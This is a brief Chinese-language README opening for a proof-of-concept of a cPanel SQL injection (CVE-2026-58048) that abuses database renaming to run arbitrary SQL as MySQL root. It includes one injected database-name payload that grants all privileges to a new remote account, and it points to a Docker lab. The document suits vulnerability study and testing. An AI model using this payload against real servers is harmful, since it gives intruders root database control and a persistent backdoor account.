POC-CVE-2026-58048

CVE-2026-58048 CVSS 4.0: 9.4（严重） | CWE-89: SQL 注入 | NVD 已认证的 cPanel 用户 → 通过数据库重命名，以 MySQL root 身份执行任意 SQL。 cPanel 在以 root 身份执行重命名操作时，不当保留了用户的会话 sqlmode（ANSIQUOTES）——数据库名中的反引号可逃逸出标识符并注入 SQL。 root@kitploit: name: db; GRANT ALL ON . TO 'rce'@'%' IDENTIFIED BY 'pwned!'; -- 快速开始（Docker 实验环境）...